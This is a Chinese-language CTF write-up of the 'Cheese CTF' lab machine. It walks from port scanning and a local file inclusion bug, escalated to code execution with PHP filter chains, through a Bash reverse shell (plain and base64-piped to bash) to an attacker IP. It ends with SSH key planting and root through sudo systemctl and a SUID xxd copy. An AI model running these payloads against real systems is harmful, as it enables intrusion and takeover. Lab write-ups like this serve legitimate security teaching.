Cheese CTF
Inspired by the great cheese talk of THM!
字数 3426 2025-11-02 00:39:25
CTF渗透测试实战教学:从LFI到Root权限获取
文档概述
本教学文档基于一个真实的CTF挑战场景,详细讲解如何利用常见的Web漏洞(如本地文件包含LFI)获取初始立足点,并通过系统配置错误进行权限提升,最终完全控制目标系统。文档将遵循标准的渗透测试流程:信息收集、漏洞利用、初始访问、权限提升。
第一阶段:信息收集与侦察
目标: 全面了解目标系统开放的服务和可能存在的攻击面。
-
端口扫描
- 工具: Nmap
- 命令与过程:
- 进行全面端口扫描,识别所有开放端口:
nmap -p- 10.201.17.93 -T4 - 发现: 初始扫描结果显示大量端口(1-65535)状态为
unknown,干扰判断。 - 优化扫描: 使用
grep -v "unknown"过滤掉未知状态端口,以便清晰查看真正开放的服务。nmap -p- 10.201.17.93 -T4 | grep -v "unknown" - 关键发现: 在过滤后的结果中,发现端口
65301运行着pcanywhere服务。同时,更常见的80端口(HTTP)也处于开放状态。
- 进行全面端口扫描,识别所有开放端口:
-
Web服务探查
- 行动: 访问
http://10.201.17.93。 - 发现: 目标80端口是一个Web应用,并存在一个登录页面。
- 行动: 访问
第二阶段:Web漏洞利用与初始访问
目标: 攻破Web应用,在目标服务器上执行任意代码。
-
漏洞发现
- 初步测试: 对登录页面尝试使用
sqlmap进行SQL注入扫描,但文章未详述其结果,暗示这可能不是主要入口。 - 关键突破口: 发现一个关键页面
secret-script.php,其file参数存在明显的本地文件包含(LFI) 漏洞。- 漏洞URL:
http://10.201.17.93/secret-script.php?file=supersecretmessageforadmin - 利用证明: 使用PHP包装器
php://filter成功读取了服务器上的文件内容,确认了LFI漏洞的存在。http://10.201.17.93/secret-script.php?file=php://filter/resource=supersecretmessageforadmin
- 漏洞URL:
- 初步测试: 对登录页面尝试使用
-
漏洞升级:从LFI到远程代码执行(RCE)
- 技术: 利用PHP过滤器链(PHP Filter Chain)将LFI漏洞转化为RCE。
- 原理: 通过精心构造的
php://filter链,对植入的PHP代码进行多次编码/解码,最终使其被服务器解释执行。 - 工具: 使用自动化工具
php_filter_chain_generator.py来生成Payload。 - 步骤:
- 准备Payload: 生成一个可接受外部参数执行命令的PHP代码段:
<?=\(_GET[0]`?>`。这是一个短标签写法,等同于 `_GET[0]; ?>`。 - 生成攻击字符串: 使用工具将上述PHP代码生成特定的过滤器链Payload。
- 执行攻击:
- 将生成的Payload填入
file参数。 - 通过
0参数传递要执行的系统命令,例如id。 - 最终攻击URL:
http://10.201.17.93/secret-script.php?file=php://filter/convert.base64-decode|...(很长的一段过滤器链)...&0=id - 如果页面返回了命令
id的执行结果(当前用户信息),则证明RCE成功。
- 将生成的Payload填入
- 准备Payload: 生成一个可接受外部参数执行命令的PHP代码段:
-
建立反向Shell
- 目标: 获取一个交互式的命令行会话。
- 命令: 使用标准的Bash反向Shell命令。
sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 - 绕过可能存在的转义或限制: 将上述命令进行Base64编码,然后通过管道在目标服务器上解码并执行。
- 编码命令:
*得到Base64字符串:echo "sh -i >& /dev/tcp/10.4.8.68/4444 0>&1" | base64c2ggLWkgPiYgL2Rldi90Y3AvMTAuNC44LjY4LzQ0NDQgMD4mMQ== - 执行Payload: 通过RCE漏洞执行以下命令:
echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuNC44LjY4LzQ0NDQgMD4mMQ== | base64 -d | bash
- 编码命令:
- 攻击机监听: 在攻击者机器(IP:
10.4.8.68)上使用netcat监听4444端口。nc -lvnp 4444 - 结果: 成功获得一个来自目标服务器的反向Shell连接,当前用户身份是
www-data。
第三阶段:权限提升 - 横向移动(www-data -> comte)
目标: 从低权限的Web服务用户 www-data 提升至普通系统用户 comte。
-
寻找突破口
- 命令: 在获得的Shell中,查找当前用户可写的文件。
find / -type f -writable 2>/dev/null | grep -Ev '^(/proc|/snap|/sys|/dev)' - 关键发现: 发现对
/home/comte/.ssh/authorized_keys文件有写入权限。这意味着我们可以通过注入SSH公钥,以comte用户身份直接免密登录。
- 命令: 在获得的Shell中,查找当前用户可写的文件。
-
部署SSH公钥
- 在攻击机上生成SSH密钥对:
ssh-keygen -t ed25519 -f id_ed25519 - 将公钥上传到目标机: 通过反向Shell,将公钥文件
id_ed25519.pub的内容写入到comte用户的authorized_keys文件中。echo "ssh-ed25519 AAAA...(你的公钥内容)... root@kali" > /home/comte/.ssh/authorized_keys - 使用私钥登录: 从攻击机直接SSH登录到目标机。
ssh -i id_ed25519 comte@10.201.17.93 - 成功: 现在你已是以
comte用户身份登录。
- 在攻击机上生成SSH密钥对:
第四阶段:权限提升 - 纵向移动(comte -> root)
目标: 从普通用户 comte 提升至最高权限用户 root。
-
分析权限
- 命令: 检查
comte用户可以使用sudo执行哪些命令。sudo -l - 关键发现: 输出显示
comte可以无需密码以root权限运行以下systemctl命令:(ALL) NOPASSWD: /bin/systemctl daemon-reload (ALL) NOPASSWD: /bin/systemctl restart exploit.timer (ALL) NOPASSWD: /bin/systemctl start exploit.timer (ALL) NOPASSWD: /bin/systemctl enable exploit.timersystemctl是Linux系统服务管理器。控制它意味着可以控制以root身份运行的服务。
- 命令: 检查
-
利用分析
- 回顾文件权限: 在第一阶段查找可写文件时,还发现了一个名为
exploit.timer的系统定时器单元文件。结合sudo -l的结果,这是一个明确的提权路径。 - 查看定时器文件: 查看
/etc/systemd/system/exploit.timer的内容。
内容可能类似于:cat /etc/systemd/system/exploit.timer[Unit] Description=Exploit Timer [Timer] OnBootSec=... [Install] WantedBy=timers.target - 查看服务文件: 定时器会触发一个同名的服务(
.service)。查看/etc/systemd/system/exploit.service。
关键发现: 文章中提到该服务执行了一条命令:cat /etc/systemd/system/exploit.service/bin/bash -c "/bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd"- 解释: 这个服务将
/usr/bin/xxd(一个十六进制转储工具)复制到/opt/xxd,并为其设置了SUID位(+s)和可执行权限(+x)。SUID位意味着任何用户执行/opt/xxd时,都将以文件所有者(root)的权限运行。
- 解释: 这个服务将
- 回顾文件权限: 在第一阶段查找可写文件时,还发现了一个名为
-
利用策略
- 思路一:直接读取flag
- 由于
/opt/xxd具有root权限,可以直接用它来读取只有root能访问的文件,例如/root/root.txt。/opt/xxd /root/root.txt
- 由于
- 思路二:获取Root Shell(更彻底)
- 目标是利用root权限的
xxd向root的SSH授权文件写入我们的公钥。 - 步骤:
- 修改定时器: 为了立即触发服务(而不是等系统重启),我们需要修改
exploit.timer文件。将OnBootSec=改为OnActiveSec=0,这样在定时器被激活后立即执行。 - 重新加载并启动: 利用
sudo权限重新加载systemd配置并启动定时器。sudo systemctl daemon-reload sudo systemctl start exploit.timer - 写入Root公钥: 现在
/opt/xxd应该已经以SUID权限存在。我们可以用它将我们的公钥写入/root/.ssh/authorized_keys。由于xxd是二进制工具,我们需要先将公钥文本转换成它可处理的格式,然后再用xxd还原。- 在攻击机上,将公钥用
xxd处理:echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI...(你的公钥)...' | xxd - 在目标机上,使用
/opt/xxd的逆向模式(-r)将十六进制数据还原并写入目标文件:echo "(上面xxd命令输出的十六进制内容)" | /opt/xxd -r - /root/.ssh/authorized_keys
- 在攻击机上,将公钥用
- SSH登录Root: 现在可以从攻击机直接SSH登录为root。
ssh -i id_ed25519 root@10.201.17.93
- 修改定时器: 为了立即触发服务(而不是等系统重启),我们需要修改
- 目标是利用root权限的
- 思路一:直接读取flag
总结与知识点
- 信息收集是关键: 细致的端口扫描和Web目录/参数发现是成功的基础。
- 漏洞链利用: 将LFI漏洞通过PHP过滤器链转化为RCE,是Web安全中一个高级且强大的技巧。
- 权限提升思路:
- 横向移动: 寻找错误的文件权限(如可写的
.ssh/authorized_keys)是切换到其他用户的常见方法。 - 纵向移动: 滥用
sudo权限是经典的提权手段。特别是当可以控制systemctl时,几乎等同于直接获取root权限。
- 横向移动: 寻找错误的文件权限(如可写的
- SUID滥用: 利用具有SUID权限的二进制文件(如
/opt/xxd)来读取敏感文件或写入关键位置,是内核安全机制下的有效突破方法。
通过以上步骤,我们完成了从外部侦察到最终完全控制目标系统的完整渗透测试过程。希望这篇详尽的文档对您的学习有所帮助。